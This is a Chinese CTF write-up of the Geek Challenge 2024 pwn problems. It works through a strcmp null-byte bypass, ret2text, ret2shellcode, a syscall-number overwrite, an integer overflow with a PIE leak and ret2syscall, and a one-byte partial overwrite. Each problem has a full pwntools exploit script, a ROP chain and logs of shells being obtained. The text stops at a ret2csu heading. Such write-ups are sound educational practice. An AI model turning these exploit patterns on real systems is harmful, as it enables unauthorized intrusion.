Geek Challenge 2024 Pwn 全题目复现
花了点时间复现了今年极客pwn方向所有题目,尽可能写详细了点。
简单的签到
涉及知识点:nc
,pwntools
的使用
题目给了一个附件main
,拖进ida静态分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
welcome();
math1();
return 0;
}
welcome()
没东西,直接看math1()
int math1()
{
unsigned int v0; // eax
unsigned int v2; // [rsp+10h] [rbp-10h]
unsigned int v3; // [rsp+14h] [rbp-Ch]
v0 = time(0LL);
srand(v0);
v3 = rand() % 10000 + 1;
v2 = rand() % 10000 + 1;
printf("%d * %d = ", v3, v2);
if ( (unsigned int)get_input_with_timeout() != v2 * v3 )
{
printf("Incorrect. The correct answer was %d. Exiting...\n", v2 * v3);
exit(1);
}
puts("Correct! Opening shell...");
return system("/bin/sh");
}
这里用随机数生成了一个乘法算式,算对了直接getshell,用pwntools
的API接发模块和eval()
即可
EXP
from pwn import *
io = remote('nc1.ctfplus.cn', 26844)
io.sendafter(b'challenge.', b'\n')
exp = io.recvuntil(b'=', drop=True)
ans = str(eval(exp))
io.sendline(ans.encode())
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 26844: Done
[*] Switching to interactive mode
Correct! Opening shell...
$ ls
bin
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
main
$ cat flag
SYC{0095ea78-f12e-485b-b2e0-04c93ee126c8}
00000
涉及知识点:strcmp()
函数遇到\x00
截断
题目给了一个附件main
,拖进ida静态分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-118h]
char s[128]; // [rsp+10h] [rbp-110h] BYREF
char v7[136]; // [rsp+90h] [rbp-90h] BYREF
unsigned __int64 v8; // [rsp+118h] [rbp-8h]
v8 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Here is a secret file. Can you find out its password?");
generate_password();
printf("Enter the password: ");
fgets(s, 128, stdin);
if ( !strcmp(s, password) )
{
puts("Now you have the secret document, please keep it safe.");
stream = fopen("/home/ctf/flag.txt", "r");
if ( !stream )
{
puts("Error: missing flag.txt.");
exit(1);
}
fgets(v7, 128, stream);
puts(v7);
}
else
{
puts("The password is wrong and you cannot access the secret files.");
}
return __readfsqword(0x28u) ^ v8;
}
很简单的逻辑,输入密码后用strcmp()
比较,正确直接把flag读出来,看看生成密码的generate_password()
unsigned __int64 generate_password()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
stream = fopen("/dev/urandom", "r");
if ( stream )
{
fgets(password, 128, stream);
if ( !fgets(password, 128, stream) )
perror("Failed to read from /dev/urandom");
fclose(stream);
}
else
{
perror("Failed to open /dev/urandom");
}
return __readfsqword(0x28u) ^ v2;
}
urandom
看似没办法绕过,实际上我们可以利用strcmp()
函数的特性,遇到\x00
字节会截断字符串,不再比较后面的内容。如果随机生成的密码的第一位恰好是\x00
,那么strcmp()
会直接判定二者相等。我们写一个脚本来爆破这种情况就行。
EXP
from pwn import *
while True:
io = remote('nc1.ctfplus.cn', 27514)
io.sendline(b'\x00')
log.info('send 0x00')
io.recvline()
temp = io.recvline().decode()
if 'wrong' not in temp:
flag = io.recvline().decode()
print(flag)
break
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
[+] Opening connection to nc1.ctfplus.cn on port 27514: Done
[*] send 0x00
SYC{2f70cf16-a2ab-4c98-954e-2c2fdea00799}
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
[*] Closed connection to nc1.ctfplus.cn port 27514
你会栈溢出吗
涉及知识点:ret2text
题目给了一个附件stackover
,查保护
$ checksec stackover
[*] '/ctf/work/Geek2024/Pwn/你会栈溢出吗/stackover'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只有栈不可执行保护,我们拖进ida看一下反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
welcome();
return 0;
}
看看welcome()
int welcome()
{
char v1[12]; // [rsp+4h] [rbp-Ch] BYREF
puts("Welcome to geek,what's you name?");
gets(v1);
return printf("hello,%s\nDo you know key?", v1);
}
gets()
函数不限制用户输入,可以读入超过12字节的字符串,导致栈溢出。同时题目还有key()
函数,我们看看伪代码。
__int64 key()
{
printf("yes,yes,this is key.you can catch me?");
system("/bin/sh");
return 0LL;
}
这里就是后门函数。那么我们覆盖welcome()
函数的返回地址为key()
函数地址,就可以getshell。很简单的ret2text
,注意调用system()
时栈对齐。 EXP
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['tmux', 'new-window'])
def debug():
gdb.attach(io)
pause()
#IO
##io = process("./stackover")
io = remote("nc1.ctfplus.cn", 41375)
ELF = ELF("./stackover")
#init
backdoor = 0x400728
offset = 0xC + 0x8
ret_gadget = 0x40057e
#ret2text
payload = cyclic(offset) + p64(ret_gadget) + p64(backdoor)
io.sendline(payload)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 41375: Done
[*] '/ctf/work/Geek2024/Pwn/你会栈溢出吗/stackover'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[DEBUG] Sent 0x25 bytes:
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│
00000010 65 61 61 61 7e 05 40 00 00 00 00 00 28 07 40 00 │eaaa│~·@·│····│(·@·│
00000020 00 00 00 00 0a │····│·│
00000025
[*] Switching to interactive mode
[DEBUG] Received 0x21 bytes:
b"Welcome to geek,what's you name?\n"
Welcome to geek,what's you name?
[DEBUG] Received 0x2e bytes:
00000000 68 65 6c 6c 6f 2c 61 61 61 61 62 61 61 61 63 61 │hell│o,aa│aaba│aaca│
00000010 61 61 64 61 61 61 65 61 61 61 7e 05 40 0a 44 6f │aada│aaea│aa~·│@·Do│
00000020 20 79 6f 75 20 6b 6e 6f 77 20 6b 65 79 3f │ you│ kno│w ke│y?│
0000002e
hello,aaaabaaacaaadaaaeaaa~\x05@
Do you know key?[DEBUG] Received 0x25 bytes:
b'yes,yes,this is key.you can catch me?'
yes,yes,this is key.you can catch me?$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x42 bytes:
b'bin\n'
b'flag\n'
b'ld-linux-x86-64.so.2\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libc.so.6\n'
b'stackover\n'
bin
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
stackover
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2a bytes:
b'SYC{6b60b978-91e5-484c-9452-0530ac54feda}\n'
SYC{6b60b978-91e5-484c-9452-0530ac54feda}
ez_shellcode
涉及知识点:ret2shellcode
题目给了一个附件shellcode
,查保护
$ checksec shellcode
[*] '/ctf/work/Geek2024/Pwn/ez_shellcode/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
存在栈可执行保护,我们看看反汇编
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4[8]; // [rsp+8h] [rbp-18h] BYREF
void *v5; // [rsp+10h] [rbp-10h]
size_t len; // [rsp+18h] [rbp-8h]
init(argc, argv, envp);
len = sysconf(30);
v5 = mmap(0LL, len, 3, 34, -1, 0LL);
if ( v5 == (void *)-1LL )
{
perror("mmap");
return 1;
}
else
{
shellcode = v5;
puts("Hello!!!");
puts("do you know shellcode?");
memset(shellcode, 144, 0x1F4uLL);
read(0, shellcode, 0x190uLL);
puts("please input your name:");
gets(v4);
return 0;
}
}
两个输入点,read()
明显提示是输入shellcode,然后通过gets()
函数覆盖返回地址跳转到shellcode。这里NX虽然开了,但是题目通过mmap()函数分配了可执行内存,所以还是可以执行shellcode的。 .text
段存在后门函数gift()
,可以直接执行我们在.bss
段上的shellcode,所以gets()
直接返回该处
int gift()
{
if ( mprotect(shellcode, 0x500uLL, 4) != -1 )
return ((__int64 (*)(void))shellcode)();
perror("mprotect");
return munmap(shellcode, 0x500uLL);
}
没有沙盒,所以我们可以直接getshell,shellcode可以直接用pwntools提供的shellcraft.sh()
生成,注意要声明环境变量。 EXP
from pwn import *
context(arch='amd64', os='linux', log_level='info', terminal=['tmux', 'splitw', '-h'])
def debug():
gdb.attch(io)
pause()
#IO
##io = process('./shellcode')
ELF = ELF('./shellcode')
io = remote('nc1.ctfplus.cn', 40852)
#init
shellcode = asm(shellcraft.sh())
gift_addr = 0x401256
offset = 0x18 + 0x8
#ret2shellcode
payload = cyclic(offset) + p64(gift_addr)
io.sendafter(b'do you know shellcode?', shellcode)
io.sendlineafter(b'name:', payload)
io.interactive()
RESULT
[*] '/ctf/work/Geek2024/Pwn/ez_shellcode/shellcode'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to nc1.ctfplus.cn on port 40852: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
lib
lib32
lib64
libx32
shellcode
$ cat flag
SYC{49a21ce8-93e0-44db-a384-cdef9afda1d2}
over_flow??
涉及知识点:栈溢出覆写.data
段,系统调用syscall
题目给了一个附件over_data
,查保护
$ checksec over_data
[*] '/ctf/work/Geek2024/Pwn/over_flow??/over_data'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
存在canary
,在不绕过canary的情况下无法直接通过栈溢出控制程序执行流,我们看看反汇编。
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to 2024 Geek pwn channel!");
puts("This is a File Management");
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
save_to_file();
}
if ( v3 != 2 )
exit(0);
read_from_file();
}
}
程序实现了一个文件管理系统,有两个功能,保存文件和读取文件。save_to_file()
函数会将用户输入的内容保存,read_from_file()
函数会将文件的内容打印出来。我们进入这两个函数看看。
unsigned __int64 save_to_file()
{
int v1; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("please input file name\n>>");
v1 = read(0, filename, 8uLL);
if ( filename[v1 - 1] == 10 )
filename[v1 - 1] = 0;
if ( !memcmp(filename, "flag", 4uLL) )
{
puts("you must't save flag!");
exit(0);
}
puts("what do you want to save?\n>>");
read(0, buf, 0x120uLL);
ow_file(filename, buf);
puts("save success!");
return v3 - __readfsqword(0x28u);
}
save_to_file()
函数会先读入文件名,然后读入文件内容,然后调用ow_file()
函数保存文件。
.text:00000000004011F6 ow_file proc near ; CODE XREF: save_to_file+F3↓p
.text:00000000004011F6
.text:00000000004011F6 var_10 = qword ptr -10h
.text:00000000004011F6 var_8 = qword ptr -8
.text:00000000004011F6
.text:00000000004011F6 ; __unwind {
.text:00000000004011F6 endbr64
.text:00000000004011FA push rbp
.text:00000000004011FB mov rbp, rsp
.text:00000000004011FE mov [rbp+var_8], rdi
.text:0000000000401202 mov [rbp+var_10], rsi
.text:0000000000401206 mov eax, open_fd
.text:000000000040120D mov qword ptr ds:ret_vale, rsi
.text:0000000000401215 mov rsi, 41h ; 'A'
.text:000000000040121C xor rdx, rdx
.text:000000000040121F syscall ; LINUX -
.text:0000000000401221 mov rdi, rax
.text:0000000000401224 mov rsi, qword ptr ds:ret_vale
.text:000000000040122C mov rdx, 100h
.text:0000000000401233 mov qword ptr ds:ret_vale, rax
.text:000000000040123B mov eax, write_fd
.text:0000000000401242 syscall ; LINUX -
.text:0000000000401244 mov eax, close_fd
.text:000000000040124B mov rdi, qword ptr ds:ret_vale
.text:0000000000401253 syscall ; LINUX -
.text:0000000000401255 nop
.text:0000000000401256 pop rbp
.text:0000000000401257 retn
简单审一审汇编,可以看到程序调用了open()
和write()
系统调用,并将文件内容写入到文件中。 再来看看read_from_file()
函数。
unsigned __int64 read_from_file()
{
int v1; // [rsp+Ch] [rbp-114h]
char v2[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v3; // [rsp+118h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("please input file name\n>>");
v1 = read(0, filename, 9uLL);
if ( filename[v1 - 1] == 10 )
filename[v1 - 1] = 0;
if ( !memcmp(filename, "flag", 4uLL) )
{
puts("you must't save flag!");
exit(0);
}
or_file((__int64)filename, (__int64)v2);
puts("read success!");
return v3 - __readfsqword(0x28u);
}
read_from_file()
函数也会先读入文件名,然后调用or_file()
函数读取文件内容。 这里有一个不容易察觉的关键点
v1 = read(0, filename, 9uLL);
在read_from_file()
中读入了9个字节,而在save_to_file()
中读入了8个字节。 也就是说,这两个函数在读入文件名的时候相差了一个字节,为什么?我们看一下.data
段上定义的filename
变量
.data:0000000000404060 filename db 61h, 7 dup(0)
可以看到filename仅有8个字节的空间,而在read_from_file()
中读入了9个字节,导致filename
覆盖了其他变量。这一点同样可以通过调试发现。
pwndbg> n
aaaaaaaaa
pwndbg> x/20gx 0x404060
0x404060 <filename>: 0x6161616161616161 0x0000000100000061
0x404070 <close_fd>: 0x0000000000000003 0x0000000000000000
在ida中
.data:0000000000404060 filename db 61h, 7 dup(0) ; DATA XREF: save_to_file+32↑o
.data:0000000000404060 ; save_to_file+57↑o ...
.data:0000000000404068 public open_fd
.data:0000000000404068 open_fd dd 2 ; DATA XREF: ow_file+10↑r
.data:0000000000404068 ; or_file+14↑r
.data:000000000040406C public write_fd
.data:000000000040406C write_fd dd 1 ; DATA XREF: ow_file+45↑r
.data:0000000000404070 public close_fd
.data:0000000000404070 close_fd dd 3
可以看到在我们输入了9个’a’后,.data段上的filename
变量覆盖了open_fd
变量,导致open_fd
变量的值被修改为61。紧随其后的就是没有被修改的write_fd
。close_fd
变量,所以我们可以直接修改filename
变量的值,覆盖open_fd
变量。 然后在紧随其后的or_file()
函数中,再次利用了fd_open
系统调用号,可以看看该处的汇编
.text:0000000000401258 endbr64
.text:000000000040125C push rbp
.text:000000000040125D mov rbp, rsp
.text:0000000000401260 sub rsp, 10h
.text:0000000000401264 mov [rbp+var_8], rdi
.text:0000000000401268 mov [rbp+var_10], rsi
.text:000000000040126C mov eax, open_fd
.text:0000000000401273 mov qword ptr ds:us_rsi, rsi
.text:000000000040127B xor rsi, rsi
.text:000000000040127E xor rdx, rdx
.text:0000000000401281 syscall ; LINUX -
.text:0000000000401283 mov qword ptr ds:ret_vale, rax
.text:000000000040128B mov eax, cs:ret_vale
.text:0000000000401291 cmp eax, 0FFFFFFFFh
.text:0000000000401294 jnz short loc_4012AF
.text:0000000000401296 lea rax, s ; "you haven't save the file!"
.text:000000000040129D mov rdi, rax ; s
.text:00000000004012A0 call _puts
.text:00000000004012A5 mov edi, 0 ; status
.text:00000000004012AA call _exit
可以看到此处调用了fd_open
的syscall,而fd_open
是我们可以控制的,如果把fd_open
的值改为59,那么对应的系统调用就是execve()
,我们在前八个字节中输入/bin/sh\x00
,就可以getshell了,执行execve("/bin/sh")
EXP
from pwn import *
#io = process('./over_data')
io = remote('nc1.ctfplus.cn', 14654)
payload = b'/bin/sh\x00' + b'\x3b'
io.sendlineafter(b'This is a File Management', b'2')
io.sendafter(b'please input file name\n>>', payload)
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 14654: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
libexec
libx32
over_data
$ cat flag
flag{3c214e76-cb5e-4fbd-a866-397b2c9d32c6}
买黑吗喽了么
涉及知识点:整数溢出,ret2syscall 题目给了libc,ld,附件syscall(疑似要打ret2syscall),查保护
$ checksec syscall
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
可以看到程序开启了PIE,那么我们需要先泄露程序中的一个全局变量或者函数地址,然后计算出基地址,再去打ROP。值得注意的是,在开启PIE后,IDA显示的就是偏移量了。
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]
Balance = 256LL;
init(argc, argv, envp);
puts("Wellcome to GEEK Shopping Mall.\n");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = menu();
if ( v4 != 1 )
break;
shop();
}
if ( v4 != 2 )
break;
view();
}
if ( v4 != 3 )
break;
Write();
}
return 0;
}
一个简单的循环结构,一开始给了__int64 Balance = 0x100
我们看一下其中的功能函数。 shop()
int shop()
{
int result; // eax
int v1; // [rsp+Ch] [rbp-4h] BYREF
puts("Commodity:");
puts("1. The merchandise of Black Myth: Wukong -> 0x20 yuan.");
printf("There are %d items of this product left.\n", number);
puts("2. <<The Journey to the West>> -> 0x10 yuan.");
printf("There are %d items of this product left.\n", byte_404B);
puts("3. back.");
puts("your choice:");
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 == 1 )
{
if ( number )
{
Balance -= 32LL;
--number;
return byte_404C++ + 1;
}
return puts("Sorry,already sold out.");
}
if ( v1 == 2 )
{
if ( byte_404B )
{
Balance -= 16LL;
--byte_404B;
return byte_404D++ + 1;
}
return puts("Sorry,already sold out.");
}
return result;
}
买东西,同时在Balance减去对应的数值,察觉到当选项1被买完时Balance就归零了,这时如果再买2,Balance就会溢出变为大数。
view()
int view()
{
signed __int64 v0; // rax
if ( Balance > 0x100 && FLAG )
{
v0 = sys_read(0, str1, 2uLL);
--FLAG;
}
printf("There are %d commodity_1 and %d commodity_2 in your pocket.\nAnd your Balance : 0x", byte_404C, byte_404D);
if ( !strcmp(str1, str2) )
return printf("%x yuan.\n", Balance);
else
return printf("%x yuan.\n", &Balance);
}
可以看到当Balance大于0x100时,就可以read一下,str1存了字符串%s,如果把它改成%p,程序就会跳转到else支链,打印出Balance的地址。那么PIE就可以绕过了,直接打ret2syscall即可。
Write()
int Write()
{
signed __int64 v0; // rax
char v2[80]; // [rsp+0h] [rbp-50h] BYREF
puts("Tell me your feedback:");
v0 = sys_read(0, v2, 0x100uLL);
return puts("Thanks for your feedback!We`ll do it better!");
}
这里明显溢出点,直接打ret2syscall。 看看ROPgadget
$ ropgadget --binary syscall --only "pop|ret"
Gadgets information
============================================================
0x00000000000015dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015e0 : pop r14 ; pop r15 ; ret
0x00000000000015e2 : pop r15 ; ret
0x00000000000011f7 : pop rax ; ret
0x00000000000015db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000015df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000011b3 : pop rbp ; ret
0x00000000000011f1 : pop rdi ; ret
0x00000000000011f5 : pop rdx ; ret
0x00000000000015e1 : pop rsi ; pop r15 ; ret
0x00000000000011f3 : pop rsi ; ret
0x00000000000015dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x00000000000011e2 : ret 0x10
0x00000000000014e3 : ret 0x100
0x0000000000001430 : ret 2
$ ropgadget --binary syscall --only "syscall"
Gadgets information
============================================================
0x00000000000011ee : syscall
三个寄存器都可以控制,那么我们直接构造以下rop:
rop1
=0 ; rdi=0 ; rsi=bss(在bss上打rop) ; rdx=8 ; syscall rop1执行后调用read,读入’/bin/sh\x00’八个字节到bss上 rop2 =59 ; rdi=bss ; rsi=0 ; rdx=0 ; syscall rop2执行后调用execve,执行bss上的’/bin/sh’
EXP
from pwn import *
import time
context(arch='amd64', os='linux', log_level='info', terminal=['tmux', 'splitw', '-h'])
#IO
##io = process('./syscall')
io = remote("nc1.ctfplus.cn", 31321)
#leak Balance
for i in range(9):
io.sendline(b'1')
time.sleep(0.5)
io.sendline(b'1')
time.sleep(0.5)
io.sendline(b'1')
time.sleep(0.5)
io.sendline(b'2')
time.sleep(0.5)
io.sendline(b'2')
time.sleep(0.5)
io.sendline(b'%p')
io.recvuntil(b'Balance : 0x')
Balance_addr = io.recvuntil(b' yuan.\n', drop=True)
exp = Balance_addr + b'-0x4090'
base_addr = eval(exp)
log.success('base_addr: '+hex(base_addr))
#ret2syscall
#init
pop_rdi_offset = 0x11f1
pop_rsi_offset = 0x11f3
pop_rdx_offset = 0x11f5
pop_rax_offset = 0x11f7
syscall_offset = 0x11ee
bss = base_addr + 0x4090
pop_rdi = base_addr + pop_rdi_offset
pop_rsi = base_addr + pop_rsi_offset
pop_rdx = base_addr + pop_rdx_offset
pop_rax = base_addr + pop_rax_offset
syscall = base_addr + syscall_offset
#rop chain
rop = p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(8) + p64(syscall)
rop += p64(pop_rax) + p64(59) + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
#getshell
payload = cyclic(0x58) + rop
io.sendline(b'3')
io.sendafter(b'feedback:', payload)
time.sleep(0.5)
io.send(b'/bin/sh\x00')
io.interactive()
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 31321: Done
[+] base_addr: 0x5585098d8000
[*] Switching to interactive mode
Thanks for your feedback!We`ll do it better!
$ ls
bin
dev
flag
ld.so.2
lib
lib32
lib64
libc.so.6
libx32
pwn
$ cat flag
SYC{2a5d9c23-fabd-4ee5-8046-ccc7609db2fe}
FindG????t
涉及知识点:一字节partcial overwrite,magic gadget,爆破libc,数组越界 题目给了一个附件pwn
,查保护
$ checksec pwn
[*] '/ctf/work/Geek2024/Pwn/FindG????t/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖进ida反汇编一下
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE v4[88]; // [rsp+0h] [rbp-58h] BYREF
init_func(argc, argv, envp);
puts("> ");
read(0, v4, 0x30uLL);
puts("index:");
__isoc99_scanf("%d", &index);
read(0, &v4[index], 1uLL);
puts("index2:");
__isoc99_scanf("%d", &index);
return index;
}
可以看到在此处
__isoc99_scanf("%d", &index);
read(0, &v4[index], 1uLL);
这里scanf()
读入index,然后第二个read()
在v4的地址上根据index作为数组索引读数据。而index没有取值范围限制,所以可以在栈上任意位置覆写一个字节。我们下一步看一看汇编
.text:00000000004010B0 main proc near ; DATA XREF: _start+18↓o
.text:00000000004010B0 ; __unwind {
.text:00000000004010B0 endbr64
.text:00000000004010B4 push r12
.text:00000000004010B6 xor eax, eax
.text:00000000004010B8 lea r12, index
.text:00000000004010BF push rbp
.text:00000000004010C0 lea rbp, aD ; "%d"
.text:00000000004010C7 push rbx
.text:00000000004010C8 sub rsp, 40h
.text:00000000004010CC call init_func
.text:00000000004010D1 mov rbx, rsp
.text:00000000004010D4 lea rdi, s ; "> "
.text:00000000004010DB call _puts
.text:00000000004010E0 mov edx, 30h ; '0' ; nbytes
.text:00000000004010E5 mov rsi, rbx ; buf
.text:00000000004010E8 xor edi, edi ; fd
.text:00000000004010EA call _read
.text:00000000004010EF lea rdi, aIndex ; "index:"
.text:00000000004010F6 call _puts
.text:00000000004010FB mov rsi, r12
.text:00000000004010FE mov rdi, rbp
.text:0000000000401101 xor eax, eax
.text:0000000000401103 call ___isoc99_scanf
.text:0000000000401108 movsxd rax, cs:index
.text:000000000040110F mov edx, 1 ; nbytes
.text:0000000000401114 xor edi, edi ; fd
.text:0000000000401116 lea rsi, [rbx+rax] ; buf
.text:000000000040111A call _read
.text:000000000040111F lea rdi, aIndex2 ; "index2:"
.text:0000000000401126 call _puts
.text:000000000040112B xor eax, eax
.text:000000000040112D mov rsi, r12
.text:0000000000401130 mov rdi, rbp
.text:0000000000401133 call ___isoc99_scanf
.text:0000000000401138 cmp cs:index, 10h
.text:000000000040113F jz short loc_40114A
.text:0000000000401141 xor rdx, rdx
.text:0000000000401144 xor rsi, rsi
.text:0000000000401147 mov rdi, rsp
.text:000000000040114A
.text:000000000040114A loc_40114A: ; CODE XREF: main+8F↑j
.text:000000000040114A mov eax, cs:index
.text:0000000000401150 add rsp, 40h
.text:0000000000401154 pop rbx
.text:0000000000401155 pop rbp
.text:0000000000401156 pop r12
.text:0000000000401158 retn
可以看到在伪代码中没有的一段magic gadget
xor rdx, rdx
xor rsi, rsi
mov rdi, rsp
将rdx
和rsi
寄存器置0,将rsp
赋值给rdi
,如果我们在rsp
上放入/bin/sh\x00
,很显然就符合系统调用execve('/bin/sh\x00',0,0)
,而在loc_40114A
处,我们有
mov eax, cs:index
将index2处赋予的index值赋给eax
,这样我们就可以控制eax
的值,使其为0x3b
从而调用execve()
。 但问题还没解决,我们使用ROPgadget --binary ./pwn --only 'syscall'
找不到可以用的系统调用。但是该程序显然调用了__libc_start_main()
我们可以在这里找到我们需要的syscall
gadget 在gdb调试中
pwndbg> x/20i 0x7ffff7db6d90
0x7ffff7db6d90 <__libc_start_call_main+128>: mov edi,eax
0x7ffff7db6d92 <__libc_start_call_main+130>: call 0x7ffff7dd25f0 <__GI_exit>
0x7ffff7db6d97 <__libc_start_call_main+135>: call 0x7ffff7e1e670 <__GI___nptl_deallocate_tsd>
0x7ffff7db6d9c <__libc_start_call_main+140>: lock dec DWORD PTR [rip+0x1ef505] # 0x7ffff7fa62a8 <__nptl_nthreads>
0x7ffff7db6da3 <__libc_start_call_main+147>: sete al
0x7ffff7db6da6 <__libc_start_call_main+150>: test al,al
0x7ffff7db6da8 <__libc_start_call_main+152>: jne 0x7ffff7db6db8 <__libc_start_call_main+168>
0x7ffff7db6daa <__libc_start_call_main+154>: mov edx,0x3c
0x7ffff7db6daf <__libc_start_call_main+159>: nop
0x7ffff7db6db0 <__libc_start_call_main+160>: xor edi,edi
0x7ffff7db6db2 <__libc_start_call_main+162>: mov eax,edx
0x7ffff7db6db4 <__libc_start_call_main+164>: syscall
但syscall
不在main函数中,怎么调用呢?这个时候就要我们之前发现的一字节任意覆写了,通过修改main函数的返回地址,直接返回到__libc_start_call_main+164
处,即syscall
EXP
from pwn import *
context(log_level='info',arch='amd64',os='linux')
index = 255
while index:
io = remote('nc1.ctfplus.cn', 46357)
#io = process('./pwn')
io.sendafter("> \n",b'/bin/sh\x00')
io.sendlineafter("index:\n","72")
#sleep(0.85)
io.send(p8(index))
#index -= 1
try:
io.sendlineafter("index2:\n", str(0x3b))
io.recv(timeout=1.5)
except EOFError:
io.close()
index -= 1
continue
io.interactive()
index -= 1
RESULT
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:831: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
exp.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter("index:\n","72")
/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
exp.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendlineafter("index2:\n", str(0x3b))
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Closed connection to nc1.ctfplus.cn port 46357
[+] Opening connection to nc1.ctfplus.cn on port 46357: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
ld-linux-x86-64.so.2
lib
lib32
lib64
libc.so.6
libexec
libx32
pwn
$ cat flag
SYC{3c214e76-cb5e-4fbd-a866-397b2c9d32c6}
su~~~~
涉及知识点:ret2csu(ret2libc)
